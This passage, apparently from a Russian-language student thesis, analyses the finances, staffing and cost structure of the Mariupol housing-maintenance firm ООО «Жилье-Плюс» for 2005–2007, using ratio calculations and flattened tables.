
2,1

46,8

4,7
Другие оборотные активы

Всего оборотных активов

461,5

100

733,1

100

1001,1

100

Данные Таблицы говорят о том, что большую часть в структуре оборотных активов составляет дебиторская задолженность.

Для определения тенденции оборачиваемости запасов и дебиторской задолженности на основании показателей баланса и отчета о финансовых результатах рассчитывают такие показатели:

коэффициент оборачиваемости запасов;

коэффициент оборачиваемости дебиторской задолженности.

Коэффициент оборачиваемости запасов показывает скорость оборота запасов для обеспечения текущего объема продаж. Рассчитывается по формуле:

Ко = С/ОБсг,

где Ко — коэффициент оборачиваемости, С – себестоимость реализованной продукции (услуг), ОБ сг – среднегодовая стоимость оборотных средств.

Вычислим коэффициент оборачиваемости запасов:

Коб.зап.2005г. = 1219,8 / ((29,3+10,5) / 2) = 61,3

Коб.зап.2006г. = 1723,3 / ((10,5+17,5) / 2) = 123,1

Коб.зап.2007г. = 3150,7 / ((17,5 + 35,1)/2) = 119,8

В 2006 и 2007 годах коэффициент оборачиваемости запасов увеличился, а чем он выше, тем быстрее оборачиваются запасы.

А также найдем оборачиваемость запасов. Оборачиваемость оборотных средств – показатель численно равный количеству календарных дней, за которые происходит один полный производственный цикл:

О = Т/Ко,

где О – оборачиваемость, т – период времени, Ко – коэффициент оборачиваемости.

Согласно представленным выше цифрам, этот показатель равен:

В 2005г. — 365 / 61,3 = 5,95 дней

В 2006г. – 365 / 123,1 = 2,97 дней

В 2007г. – 365 / 119,8 = 3,05 дней

Это значит, что для сохранения текущего уровня продаж пополнение запасов необходимо осуществлять в 2005 г. через 6 дней, в 2006 и 2007 гг. – через 3 дней.

В течении исследуемого периода наблюдается рост коэффициента оборачиваемости запасов, соответственно уменьшается период, отпущенный на восстановление этих запасов, что свидетельствует о расширении и интенсификации производства.

Коэффициент оборачиваемости дебиторской задолженности. Он показывает, сколько оборотов совершил за год средства, вложенные в расчеты. Он исчисляется как отношение общего объема реализации к среднему размеру дебиторской задолженности:

К об.д.з. = Д / ((Д.з.нач.+Д.з.кон.)/2),

где К об.д.з. – коэффициент оборачиваемости дебиторской задолженности; Д – доход от реализации продукции(услуг); Д.з.нач. и Д.з.кон. – дебиторская задолженность на начало и конец периода.

Используя формулу, вычислим коэффициент оборачиваемости дебиторской задолженности за 2005-2007гг.

Коб.д.з. 2005г. = 1808,4 / ((376,5+440,5) /2) = 4,43

Коб.д.з. 2006г. = 2583,5 / ((699,8+440,5) /2) = 4,53

Коб.д.з. 2007г. = 4477,3 / ((699,8+919,2)/2) = 5,53

Произведенные вычисления свидетельствуют о росте данного коэффициента.

Рассчитаем оборачиваемость дебиторской задолженности- период инкассации) т.е. время, в течении которого дебиторская задолженность обратится в денежные средства:

В 2005г. — 365 / 4,43 = 82,4 дней

В 2006г. – 365 / 4,53 = 80,6 дней

В 2007г. – 365 / 5,53 = 66,0 дней

Рост коэффициента оборачиваемости дебиторской задолженности свидетельствует об увеличении числа оборотов, совершаемых дебиторской задолженностью.

А чем больше количество оборотов, тем быстрее предприятие получает плату от своих дебиторов. В данном случае период, за который ООО « Жилье-Плюс» получает плату от своих дебиторов укорачивается, что положительно сказывается на его деятельности.

2.6.2 Анализ пассива баланса

Проанализируем структуру пассива за соответствующий период. Структура пассива исследуемого предприятия за 2005-2007гг. представлена в таблице 2.6.3

Таблица 2.6.3 — Структура пассива баланса ООО «Жилье-Плюс» за 2005-2007гг.

Показатели

2005

2006

2007
сумма

%

сумма

%

сумма

%

Собственные средства

— уставной капитал;

— нераспределенная прибыль.

230,5

49,4

310,0

41,7

679,8

67,8

Заемные средства

-обеспеченность следующих расходов;

— кредиторская задолженность за товары и работы;

— текущие обязательства;

— доходы будущих периодов.

236,1

50,6

433,7

58,3

322,5

32,2
Всего пассивов

466,6

100,0

743,7

100

1002,3

100

Как видно из таблицы в структуре пассивов в 2005 и 2006 г. больший удельный вес занимают заемные средства, а в 2007 году — собственные средства.

Из состава источников средств рассмотрим краткосрочную кредиторскую задолженность

Кредиторская задолженность, в отличии от дебиторской, свидетельствует о наличии денежных средств, временно привлеченных предприятием и подлежащих возврату. Для определения периода погашения кредиторской задолженности используют коэффициент оборачиваемости кредиторской задолженности. Данный коэффициент исчисляется как отношение себестоимости к среднему размеру кредиторской задолженности

К об.к.з. = С / ((К.з.нач. + К.з.кон.)/2),

Где К об.к.з. – коэффициент оборачиваемости кредиторской задолженности; С – себестоимость реализованной продукции) работ, услуг); К.з.нач. и К.з.кон. – кредиторская задолженности на начало и на конец периода.

Рассчитаем этот коэффициент за 2005-2007гг.:

К об.к.з. 2005г. = 1219,8 / ((98,4+86,4)/2)= 13,2

К об.к.з. 2006г. = 1723,3 / ((257,6+86,4)/2)= 10,0

К об.к.з. 2007г. = 3150,7 / ((257,6 + 190,1)/2) = 14,08

Рассчитаем оборачиваемость кредиторской задолженности, получим среднее количество дней, в течении которых предприятие оплачивает счета кредиторов. Согласно цифрам, этот период равен:

В 2005г. — 365 / 13,2 = 27,7 дней

В 2006г. – 365 / 10 = 36,5 дней

В 2007г. – 365 / 14,08 = 25,92 дней

Срок погашения кредиторской задолженности в 2006 году увеличился, но в 2007 году — снизился. Это является положительным моментом в деятельности ОО «Жилье-Плюс».

2.6.3 Анализ трудовых ресурсов

Трудовые ресурсы ООО «Жилье-Плюс» представлены как рабочими, так и служащими. Основными источниками данных, которые мы будем использовать при расчетах явились годовые отчетные формы за период 2005-2007гг., в частности это – «Отчет по труду» (форма № 1-ПВ), также использовалось штатное расписание.

Структуру численности работников по категориям представим в таблице 2.6.4.

Таблица 2.6.4 — Структура численности

Категории работников

2005 год

2006 год

2007 год
факт

%

факт

%

факт

%
Руководители, профессионалы, специалисты, технические служащие

14

48,3

12

37,5

17

22,4
Работники

15

51,7

20

62,5

59

77,6
Всего

29

100

32

100

76

100

Из таблицы видно, что структура численности работающих по категориям изменилась значительно, это связано с тем, что в 2007 году предприятие приняло себе в штат дворников и уборщиц. Что касается абсолютных показателей численности то они соответственно увеличились в 2007 году.

Теперь проанализируем обеспеченность ООО «Жилье-Плюс» кадрами. Для этого сравним плановые показатели численности с фактическими. Данные занесем в таблицу.

Таблица 2.6.5 — Обеспеченность кадрами в течении 2005-2007гг.

Категории работников

2005 год

2006 год

2007 год
план

факт

отклонение, %

план

факт

отклонение, %

план

факт

отклонение, %
Руководители, профессионалы, специалисты, технические служащие

16

14

-12,5

16

12

-25,0

20

17

-15,0
Работники

66

15

-77,3

66

20

-70,0

136

59

-56,6
Всего

82

29

-64,6

82

32

— 61,0

156

76

-51,3

Из таблицы видно, что предприятие постоянно испытывает недостаток в кадрах. Наблюдается значительная разница между фактическими и плановыми показателями численности работающих. Численность в 2007 году значительно увеличилась по сравнению с 2005 и 2006 гг.

Далее проанализируем динамику изменений численности работников.

Для описания и характеристики процесса движения работающих (прием и увольнение) применяют коэффициенты оборота:

1. Коэффициент оборота по приему

Кпр = П/Чсс,

где П – количество принятых в течении года, Чсс – среднесписочная численность за год.

2. Коэффициент оборота по увольнению

Кув = У/Чсс,

где У – количество уволенных за год, Чсс – среднесписочная численность за год.

3. Коэффициент общего оборота

Коб = (П+У)/Чсс,

Где П – количество принятых в течении года, У – количество уволенных за год, Чсс – среднесписочная численность за год. 4.Коэффициент текучести рабочей силы

Ктек = (Усж+Унд)/Чсс,

Где Усж – количество уволенных по собственному желанию, Унд – количество уволенных за нарушение трудовой дисциплины, Чсс – среднесписочная численность за год.

Таблица 2.6.6 — Оборот кадров

Показатели

2005

2006

2007
Среднесписочная численность

29

32

76
Принято

12

20

119
Выбыло

13

18

68

Рассчитаем по формулам коэффициенты и полученные результаты занесем в таблицу

Таблица 2.6.7 — Показатели движения кадров

Показатели

2005

2006

2007
Коэффициент оборота кадров по приему, %

41,4

62,5

156,6
Коэффициент оборота кадров по выбытию, %

44,8

56,3

89,5
Коэффициент текучести кадров, %

44,8

56,3

89,5
Коэффициент общего оборота, %

86,2

118,75

246,1

Из таблицы видно, что за исследуемый период значительно увеличился коэффициент оборота кадров по приему: в 2005г.- 41,4%,а в 2007г. – 156,6%, однако, количество поступающих на работу не покрывает потребности предприятия в кадрах, а также увеличился коэффициент оборота кадров по выбытию: 2005г. -44,8%, 2006г. – 56,3%, 2007г. -89,5%.

Проведем анализ динамики фонда оплаты труда на ОО 2Жилье-Плюс» за период 2005-2007 гг.

Таблица 2.6.8 — Структура фонда заработной платы штатных работников

Показатели

2005 год

2006 год

2007 год
тыс. грн.

%

тыс. грн.

%

тыс. грн.

%
Фонд основной заработной платы

152,7

45,2

212,4

38,6

724,1

58,8

Фонд дополнительной заработной платы, из них:

— надбавки и доплаты к тарифным ставкам;

— премии и вознаграждения.

175,0

66,8

51,8

19,8

321,5

148,8

58,5

27,1

474,9

38,6

38,6

3,1

97,2

28,8

131,6

23,9

386,7

31,4
Поощрительные и компенсационные расходы

10,3

3,0

15,8

2,9

31,6

2,6
Итого

338,0

100

549,7

100

1230,6

100

Из таблицы видно, что за анализируемый период фонд оплаты труда увеличился, это связанно с увеличением минимальной заработной платы и роста численности.

За исследуемый период структура фонда заработной платы претерпела изменения: в 2005 и 2006 годах основной удельный вес занимает фонд дополнительной заработной плате, а в 2007 году — фонд основной заработной платы.

2.7 Анализ финансовых результатов деятельности

Дадим оценку финансовым результатам деятельности ООО «Жилье-Плюс», применив анализ тренда, вертикальный анализ и анализа с применением коэффициентов.

Для определения изменения в хозяйственной политике предприятия за ряд лет применяем анализ тенденций развития, который является вариантом горизонтального анализа.

Используя данный метод, проанализируем деятельность по основным показателям за 2005-2007гг. и отобразим полученные данные в таблице

Таблица 2.7.1 — Анализ деятельности по основным показателям

Показатели

2005г.

2006г.

2007г.
тыс. грн.

%

тыс. грн.

%

тыс. грн.

%
Доход от реализации продукции (работ, услуг)

1507,0

100

2152,9

142,9

3731,1

247,6
Себестоимость реализованной продукции (работ, услуг)

1219,8

100

1723,3

141,3

3150,7

258,3
Прибыль до налогообложения

15,9

100

106

666,7

491,8

3093,1
Налог

3,5

100

26,5

757,1

122,0

3485,7
Чистая прибыль

12,4

100

79,5

641,1

369,8

2982

Из таблицы видно, каких финансовых результатов в хозяйственной деятельности достигло ООО «Жилье-Плюс» в сравнении с фактическими данными базового года. В 2006 и 2007 гг. доход от реализации превысил базовый в 1,43 и 2,48 раза соответственно. Это связано с увеличение стоимости услуг по обслуживанию домов и придомовой территории. Себестоимость реализованной продукции также значительно увеличилась в 2006 год у – 41,3%, в 2007г. – 158,3%. Из таблицы видно, что резка увеличилась прибыль до налогообложения и соответственно налог на прибыль, как и чистая прибыль.

Вертикальный анализ

Проанализируем структуру доходов и расходов ООО «Жилье-Плюс» за 2005-2007 гг. Данные отобразим в таблицах

Таблица 2.7.2 — Структура доходов предприятия

Показатели

2005

2006

2007
тыс. грн.

%

тыс. грн.

%

тыс. грн.

%
Квартплата:

1550,2

93,7

2199,5

92,4

3832,8

96,3
Оплата населения

1446,1

87,4

2075,5

87,2

3594,6

90,3
Субсидии

9,8

0,6

9,6

0,4

39,2

1,0
Льготы

94,3

5,7

114,4

4,8

199,0

5,0
Сборы с арендаторов

60,9

3,7

69,9

2,9

126,6

3,2
Возмещение затрат на тех. обслуживание сетей

—

—

—

—

—
Другие доходы

42,5

2,6

110,3

4,7

19,4

0,5
Всего:

1653,6

100,0

2379,7

100,0

3978,8

100,0

Данные таблицы говорят о том, что основную часть доходов составляет квартирная плата. Удельный вес данной статьи доходов в течении исследуемого периода практически находиться на одном уровне.

Таблица 2.7.3 — Анализ доходов предприятия

Показатели

2005 год

2006 год

2007 год
план

факт

разница

план

факт

разница

план

факт

разница
Квартплата:

1538,0

1550,2

+12,2

2212,9

2199,5

-13,4

3848,9

3832,8

-16,1
Сборы с арендаторов

60,9

60,9

0

69,9

69,9

—

126,6

126,6

—
Возмещение затрат на тех. обслуживание сетей

—

—

—

Другие доходы

—

42,5

+42,5

—

110,3

+110,3

—

19,4

+19,4
Всего:

1598,9

1653,6

+54,7

2282,8

2379,7

+96,9

3975,5

3978,8

+ 3,3

Сравнивая плановые доходы с фактическими, мы увидели что фактические доходы превышают над плановыми. Это связано с прочими незапланированными доходами, в которые входит финансовая помощь от райадминистраций и заводов.

Рассмотрим теперь структуру расходов предприятий в таблице

Таблица 2.7.4 — Структура расходов предприятий

Показатели

2005

2006

2007
тыс. грн.

%

тыс. грн.

%

тыс. грн.

%
Материальные затраты в т.ч.

672,4

41,0

869,7

37,8

1387,0

38,4
Электроэнергия

123,5

7,5

173,4

7,5

245,5

6,8
Текущий ремонт

139,1

8,5

206,8

9,0

581,5

16,1
Саночистка

106,7

6,5

99,6

4,3

—

—
Эксплуатация лифтов

276,6

16,9

370,1

16,1

529,1

14,6
Другие материальные расходы

26,5

1,6

19,8

0,9

30,9

0,9
Оплата труда

385,0

23,5

615,5

26,8

1285

35,6
Начисления на оплату труда

145,0

8,8

225,7

9,8

471,1

13,1
Амортизация

17,4

1,1

12,4

0,5

9,4

0,3
Другие затраты

421,4

25,6

575,3

25,1

456,5

12,6
Всего:

1641,2

100,0

2298,6

100,0

3609,0

100,0

Из таблиц видно, что основной удельный вес затрат приходиться на материальные затраты (электроэнергия, саночистка, материалы на текущий ремонт, подрядные работы по текущему ремонту, расходы по техническому обслуживанию лифтов и прочие материальные расходы), а также на заработную плату и начисления на нее, а в 2007 году он значительно вырос в связи с увеличением численности работающих. Удельный вес прочих расходов в 2007 году значительно снизился, это связанно с тем что до 2007г. уборку домов и придомовой территории осуществляла подрядная организация.

Абсолютные значения всех расходов значительно увеличились кроме прочих расходов. Рост обусловлен значительным ростом стоимости электроэнергии, технического обслуживания лифтов, материалов, а также ростом минимальной заработной платы, что привело к значительному росту фонда заработной платы, а также в2007 году ростом численности, следовательно и увеличились начисления на заработную плату.

Таблица 2.7.5 — Сравнительные данные по расходам

Показатели

2005 год

2006 год

2007 год
план

факт

разница

план

факт

разница

план

факт

разница
Материальные затраты в т.ч.

672,4

665,5

-6,9

869,7

851,9

-17,8

1387,0

1596,7

+209,7
Электроэнергия

123,5

174,4

+50,9

173,4

173,9

+0,5

245,5

211,2

-34,3
Текущий ремонт

139,1

83,5

-55,6

206,8

248,5

+41,7

581,5

761,4

+179,9
Саночистка

106,7

161,2

+54,5

99,6

103,3

+3,7

—

—
Эксплуатация лифтов

276,6

246,4

-30,2

370,1

326,2

-43,9

529,1

580,4

+51,3
Другие материальные расходы

26,5

-26,5

19,8

-19,8

30,9

43,7

+12,8
Оплата труда

385,0

366,9

-18,1

615,5

565,0

-50,5

1285

1549,9

+264,9
Начисления на оплату труда

145,0

132,0

-13,0

225,7

210,8

-14,9

471,1

568,4

+97,3
Амортизация

17,4

10,1

-7,3

12,4

10,1

-2,3

9,4

10,0

+0,6
Другие затраты

421,4

363,5

-57,9

575,3

552,2

-23,1

456,5

123,9

-332,6
Всего:

1641,2

1538,0

-103,2

2298,6

2190,0

-108,6

3609,0

3848,9

+239,9

Из таблицы мы видим, что в 2004 году фактические расходы на электроэнергию превысили на 50,9 тыс. грн., на саночистку – 54,5 тыс. грн., но с экономили на текущем ремонте – 55,6тыс.грн.,технической эксплуатации лифтов – 30,2 тыс. грн,, на заработной плате с начислениями – 31,1 тыс. грн. и на других затратах 57,9 тыс. грн., все это привело к тому, что в целом фактические расходы. ниже плановых на 103,2 тыс. грн., что составляет 6,3% от плановых.

В 2005 году сложившиеся фактические расходы меньше плановых на 108,6 тыс. грн., за счет экономии по заработной плате и начислениям на нее 65,4 тыс. грн., а также затратам на техническое обслуживание лифтов – 43,9 тыс. грн. при превышении затрат на текущий ремонт, саночистку.

В 2006 году сложился перерасход по сравнению с планами на 239,9 тыс. грн. Свыше запланированного были использованы средства на заработную плату с начислениями – 362,2 тыс. грн., текущий ремонт – 179,9 тыс. грн,, техническому обслуживанию лифтов – 51,3 тыс. грн., но при этом сложилась экономия по электроэнергии – 34,3 тыс. грн., другим затратам – 332,6 тыс. грн.

Таблица 2.7.6 — Рассмотрим структуру прочих расходов

Показатели

2005

2006

2007
сумма

%

сумма

%

сумма

%
Содержание адм. зданий

21,7

5,1

22,1

3,8

110,1

24,1
Кассовое обслуживание

5,4

1,3

4,4

0,8

63,7

14,0
Подрядные организации

341,0

80,9

462,1

80,3

71,9

15,8
СЭС

3,6

0,9

2,2

0,4

13,9

3,0
Командировочные расходы

—

1,5

0,3

—

—
Канц. и хоз. расходы

6,5

1,5

5,9

1,0

8,5

1,9
Услуги банка

24

5,7

26,9

4,7

12,0

2,6
Коммунальный налог

0,7

0,2

0,9

0,2

1,5

0,3
Больничные за счет предприятия

2,9

0,7

3,4

0,6

11,1

2,4
Связь

6,5

1,5

9,7

1,7

9,1

2,1
Подписка

1,7

0,4

2,1

0,4

2,3

0,5
Компьютерное обслуживание

3,9

0,9

3,1

0,5

8,4

1,8
Прочие

—

5

0,9

22,0

4,8
Налог на прибыль

3,5

0,9

26

4,4

122,0

26,7
Итого

421,4

100,0

575,3

100,0

456,5

100

Из таблицы видно, что в структуре прочих расходов годах основную часть занимают расходы на подрядные организации в 2005 году -80,9%, 2006 году – 80,3%, 2007 год – 15,8%, к которым относятся работы по уборке домов и придомовой территории, а также содержание паспортистов и менеджеров.

Рассмотрим расходы согласно структуры тарифа квартирной платы.

Таблица 2.7.7

Показатели

2005 год

2006 год

2007 год
факт

план

разница

факт

план

разница

факт

план

разница
Уборка придомовой территории

328,9

306,3

-22,6

418,4

472,2

53,8

958,0

874,8

-83,2
Обслуживание, ремонт внутренних сантехсистем и електросетей

618,8

330,8

-288,0

936,9

524,8

-412,1

1078,7

1171,9

+93,2
Обслуживание и ремонт конструкций и снаряжения

172,3

270,9

98,6

270,1

484,4

214,3

639,9

838,4

198,5
Другие работы

7,3

9,0

1,7

2,0

6,9

4,9

1,9

11,9

10,0
Содержание мастерских и транспортных средств

—

20,8

+20,8

—

48,9

48,9

19,9

85,6

65,7
Электроэнергия мест общего пользования и лифтов

123,5

176,3

+52,8

173,4

173,9

0,5

245,5

208,6

-36,9
Санобработка

3,6

26,9

23,3

2,2

46,4

44,2

13,9

71,7

57,8
Вывоз ТБО и отходов

106,7

134,4

+27,7

99,6

103,4

3,8

—

—

—
Обслуживание лифтов

276,6

245,7

-30,9

370,1

327,0

-43,1

529,1

569,4

40,3
Расходы на техническое обслуживание бытовых электроплит

1,5

1,5

2,9

2,9

2,9

2,9
Итого

1637,7

1522,6

-115,1

2272,7

2190,8

-81,9

3486,9

3835,2

+348,3

Из таблицы видно, что в 2005 году фактические расходы по сравнению с плановыми превысили 115,1 тыс. грн., при подробном рассмотрении расходов мы увидели, что превышение произошло за счет уборки домов и придомовой территории, ремонту и обслуживании сантехсистем и электросетей, а также расходов на техническое обслуживание лифтов.

В 2006 году также фактические превысили на 81,9 тыс. грн., за счет таких статей: ремонт и обслуживание сантехсистем и електросетей, техническое обслуживание лифтов.

В 2007 году плановые затраты превысили фактические на 348,3 тыс.грн., восновном за счет экономии по всем статьям, кроме расходов на обслуживание и ремонт конструкций и снаряжения, электроэнергию мест общего пользования и лифтов.

Рассмотрим финансовый результат от обычной деятельности.

Таблица 2.7.8

Показатели

2005 год

2006 год

2007 год
Доходы

1620,6

2284,9

3969,3
Финансовая помощь

33,0

94,8

9,5
Расходы

1641,2

2298,6

3609
Финансовый результат

12,4

81,1

369,8
Фактическая себестоимость на 1 м2

0,55

0,76

1,17
Плановая себестоимость на 1 м2

0,52

0,74

1,29

Из данных таблицы можно сделать следующие выводы, что хотя на протяжении исследуемого периода предприятие сработало прибыльно, при детальном рассмотрении мы видим, что в 2005 году финансовый результат сложился 12,4 тыс. грн. при финансовой поддержке 33 тыс. грн., а фактическая себестоимость на 1 м2 превысила плановую на 0,03 грн.

В 2006 году прибыль составила 81,1 тыс. грн. при финансовой помощи 94,8 тыс. грн. Себестоимость фактическая превысила плановую на 0,02 грн.

В 2007 году ситуация изменилась плановая себестоимость превысила фактическую на 0,12 грн. на 1 м2.

Анализ с применением коэффициентов

Этот метод состоит в том, что оценку финансового состояния предприятия производят с помощью финансовых коэффициентов. Данным способом изучаются такие важные аспекты финансового состояния и результатов деятельности предприятия, как ликвидность, долгосрочная платежеспособность, рентабельность.

Оценка ликвидности предприятия

Ликвидность означает способность превратить актив в деньги быстро и без потерь его рыночной стоимости.

Оценивая ликвидность предприятия, анализирует достаточность текущих активов для погашения текущих обязательств – краткосрочной кредиторской задолженности.

При оценке ликвидности рассчитывают три коэффициента:

коэффициент покрытия;

коэффициент быстрой ликвидности;

коэффициент абсолютной ликвидности.

Коэффициент покрытия, он дает общую оценку ликвидности активов, показывая сколько гривен текущих активов предприятия приходит на одну гривну текущих обязательств. Если текущие активы превышают по величине текущие обязательства, предприятие может рассматриваться как успешно функционирующее. Коэффициент рассчитывается по формуле:

Кп = (ОА + Рб.п.) / (ТО + Дб.п.),

Где Кп – коэффициент покрытия; ОА – Оборотные активы; Рб.п. – расходы будущих периодов; ТО – текущие обязательства; Дб.п. – доходы будущих периодов.

Рассчитаем коэффициент покрытия за период 2005-2007гг.

Кп 2005г. = (461,5 + 0) / (156,6 + 26,4) = 2,5

Кп 2006г. = (733,1 + 0) / (337,0 + 43,6) = 1,9

Кп 2007г. = (1001,1 + 0) / (271,6 + 0) = 3,7

Это означает, что на каждую 1 гривну текущих обязательств (долгов) предприятие имело в 2005 г. 2,5 грн. текущих активов, в 2006г. – 1,9 грн.,в 2007г.- 3,7 грн. Исходя из полученных данных можно сделать вывод о том, что общая ликвидность предприятия в 2007 году увеличилась за счет увеличения показателя текущих активов.

Теперь рассчитаем, на сколько предприятие может уменьшить стоимость текущих активов при их продаже с тем, чтобы полученной суммы было достаточно для погашения текущих обязательств. Для этого

— рассчитаем удельную часть задолженности:

2005г.: (156,6 / 461,5) * 100% = 33,9

2006г.: (337,0 / 733,1) * 100 % = 46,0

2007г.: (271,6 / 1001,1) * 100% = 27,1

— из общей суммы имеющихся средств, принятой за 100%, вычтем удельную часть задолженности:

2005 г.: 100% -33,9% = 66,1%

2006г.: 100% — 46,0% = 54%

2007г.: 100% — 27,1% = 72,9%.

Следовательно при ликвидации текущих активов их стоимость могла быть уменьшена в 2005 году на 66,1%, в 2006 году – на 54%, а в 2007 году – на 72,9%.

Коэффициент быстрой ликвидности. В отличии от предыдущего, он учитывает качество оборотных активов и является более строгим показателем ликвидности, так как при его расчете учитываются наиболее ликвидные текущие активы, он рассчитывается по следующей формуле:

Кб.л. = (ОА – З + Рб.п.) / (ТО + Дб.п.),

Где Кп – коэффициент быстрой ликвидности; ОА – оборотные активы; З – запасы; Рб.п. – расходы будущих периодов; ТО – текущие обязательства; Дб.п. – доходы будущих периодов.

Кб.л.2005г. = (466,5-10,5+0) / (156,6+26,4) = 2,5

Кб.л.2006г. = (733,1-17,5+0) / (337,0+43,6) = 1,9

Кб.л.2007г. = (1001,1 – 35,1) / (271,6 + 0) = 3,6

Произведя расчеты, мы определили, что на гривню текущей задолженности предприятие имело ликвидных активов: в 2005 году – 2,5 грн., в 2006году – 1,9 грн., в 2007г. – 3,6 грн. Коэффициент ликвидности увеличился в 2007 году.

Коэффициент абсолютной ликвидности показывает, какая часть текущих обязательств может быть погашена немедленно. Данный коэффициент рассчитывается по формуле:

К а.л. = ДС / (ТО + Дб.п.),

Где К а.л. — коэффициент абсолютной ликвидности; ДС – денежные средства и их эквиваленты; ТО – текущие обязательства; Дб.п. – доходы будущих периодов.

Используя данные Баланса вычислим этот коэффициент за 2005-2007гг.

Ка.л. 2005г. = 10,5 / (156,6+26,4) = 0,06

Ка.л. 2006г. = 15,8 / (337,0+43,6) = 0,04

Ка.л. 2007г. = 46,8 / (271,6 + 0) = 0,17

Рассчитав коэффициенты абсолютной ликвидности, мы можем сказать, что в 2005 и 2006 года он очень низкий, но в 2007 году значительно вырос но все равно не достиг нормы (0,2-0,25). Это объясняется небольшим количеством денежных средств у предприятия. Но наметилась положительная тенденция роста данного показателя.

Для оценки платежеспособности и финансовой устойчивости не только рассчитывают отношение между текущими активами и текущими обязательствами, но также определяют и их разность.

Разность между текущими активами и текущими обязательствами составляет чистый рабочий капитал предприятия (Рк). Наличие чистого рабочего капитала свидетельствует о том, что предприятие способно не только оплатить текущие долги, но и располагает финансовыми ресурсами для расширения деятельности. Запишем формулу определения чистого рабочего капитала на основании данных Баланса:

Рк = (ОА + Рб.п.) – (ТО + Дб.п.),

Где Рк. – рабочий капитал; ОА – оборотные активы; Рб.п. – расходы будущих периодов.

Используя данные Баланса за 2005-2007гг., рассчитаем величину чистого рабочего капитала по каждому году исследуемого периода:

Рк 2005г. = 461,5-(156,6+26,4) = 278,5

Рк 2006г. = 733,1-(337,0+43,6) = 352,5

Рк 2007г. = 1001,1 – (271,6 +0) = 729,5

Показатель чистого рабочего капитала ООО «Жилье-Плюс» растет из года в год вместе с показателем количества текущих активов предприятия, что позволяет предприятию расширить свою деятельность.

2.8 Анализ показателей рентабельности предприятия

На платежеспособность предприятия оказывает влияние его способность получать прибыль. В этой связи рассмотрим следующий аспект деятельности предприятия – рентабельность, которая является качественным показателем эффективности работы предприятия.

Рентабельность продаж, он показывает, какую прибыль с одной гривны продажи получило предприятие.

Рассчитывается по формуле:

РП = ЧП /ЧД,

где РП. – рентабельность продаж; ЧП – чистая прибыль; ЧД – чистый доход.

Рассчитаем рентабельность продаж:

РП 2005г. = 12,4 / 1507,0 = 0,0082

РП 2006г. = 79,5 / 2152,9 = 0,0369

РП 2007г. = 369,8 / 3731,1 = 0,099

Рассчитав рентабельность продаж, можно сделать вывод, что на протяжении исследуемого периода заметна тенденция увеличения этого показателя.

Прежде чем рассмотреть второй коэффициент рентабельности – рентабельность активов, рассмотрим такой показатель, как коэффициент оборачиваемости активов.

Коэффициент оборачиваемости активов характеризует, насколько эффективно используются активы с точки зрения объема реализации, так как показывает, сколько гривен реализации приходит на каждую гривну, вложенную в активы предприятия, другими словами, сколько раз за отчетный период активы обернулись в процессе реализации продукции. Чем выше оборот, тем эффективнее используются активы. Коэффициент определяется как отношение чистой реализации к среднегодовой стоимости активов:

Ко.а. = ЧД / ((Анач.+ Акон.)/2),

Где Ко.а. – коэффициент оборачиваемости активов; ЧД – чистый доход; Анач. и Акон. – стоимость активов на начало и конец отчетного периода

Рассчитаем коэффициент оборачиваемости за 2005-2007гг.

Ко.а. 2005г. = 1507,0 / ((445,4+466,6)/2) = 3,3

Ко.а. 2006г. = 2152,9 / ((466,6+743,7)/2) = 3,6

Ко.а. 2007г. = 3731,1 / ((1002,3+743,7) / 2) = 4,3

В течении исследуемого периода коэффициент оборачиваемости вырос с 3,3 грн. в 2005г., до 4,3 грн. в 2007 году.

Рентабельность активов, насколько эффективно предприятие использует свои активы для получения прибыли, то есть показывает, какую прибыль приносит каждая гривна, вложенная в активы предприятия.

RОА = ЧП / ((Анач.+ Акон.))/2

Где RОА — рентабельность активов; ЧП – чистая прибыль; Анач. И А кон. – стоимость активов на начало и конец отчетного периода

RОА 2005г. = 12,4 / ((445,4+466,6)/2) = 0,027

RОА 2006г. = 79,5 / ((743,7+466,6)/2) = 0,13

RОА 2007г. = 369,8 / ((1002,3+743,7) / 2) = 0,42

Произведя расчеты, модно сделать вывод, что предприятие к 2007 году более эффективно использовало свои активы.

Отметим, что коэффициент RОА объединяет два показателя: долю прибыли в одной гривне реализации и оборот активов. Выше мы рассмотрели, что доля прибыли в одной гривне реализации исчисляется с помощью показателя рентабельности продаж, а оборот активов – с помощью коэффициента оборачиваемости активов. То есть произведение названных показателей равно значению коэффициента рентабельности активов

Рентабельность капитала, он характеризует эффективность использования предприятием собственного капитала. Показатель определяется как соотношение чистой прибыли и среднегодовой стоимости капитала:

RОЕ = ЧП / ((Соб.к.нач. + Соб.к.кон.)/2)

Где RОЕ – рентабельность капитала; ЧП – Чистая прибыль; Соб.к.нач. и Соб.к.кон. – собственный капитал на начало и на конец отчетного периода

RОЕ 2005г. = 12,4 / ((218,1+230,5)/2) = 0,055

RОЕ 2006г. = 79,5 / ((230,5+310,0)/2) = 0,29

RОЕ 2007г. = 369,8 / ((310 + 679,8)/2) = 0,75

Полученные в результате расчетов данные свидетельствуют о увеличении рентабельности капитала, то есть о более эффективном использовании собственного капитала.

2.9 Проблемные вопросы жилищного хозяйства

Проанализировав деятельность ООО «Жилье–Плюс» за период 2005-2007 года, мы можем сделать вывод, что не смотря на то, что финансовый результат сложился положительным, фактические расходы не соответствуют плановым расходам согласно структуре тарифа квартирной платы. Наибольший удельный вес в расходах на содержание домов и придомовой территории приходится на заработную плату, а с учетом того, что минимальная заработная плата постоянно растет а тариф квартирной платы утвержден ниже экономически обоснованных расходов, поэтому средств на выплату заработной платы не хватает, поэтому предприятию приходиться отвлекать средства предназначенные на другие расходы, такие как материалы, подрядные работы, что может привести к росту кредиторской задолженности.

Перед жилищными предприятиями г.Мариуполя стоит много вопросов требующих немедленного решения:

1. Наличие неусовершенствованной нормативно-правовой базы для обеспечения деятельности предприятий, обслуживающих жилой фонд, в том числе в рыночных условиях хозяйствования. Не принят новый Жилищный кодекс.

2. Ускоряется процесс старения основных фондов. На балансе городских советов находятся дома, основная часть которых построена в шестидесятых годах и требует немедленного капитального ремонта. Значительная часть лифтов, имеющихся в жилом фонде, находится в эксплуатации более 25 лет и требует замены и модернизации. Убыточные тарифы на услуги для населения, недостаточная государственная финансовая помощь привели к ежегодному ухудшению состояния отрасли.

Несмотря на постоянное увеличение объемов финансирования капитального ремонта по г. Мариуполю за счет средств городского бюджета, техническое состояние основных фондов остается неудовлетворительным. Фактическое освоение средств по капитальному ремонту жилого фонда города намного ниже нормативной потребности и составляет 42 %.

Наиболее острой остается проблема финансирования из Государственного бюджета мероприятий по ремонту аварийных домов.

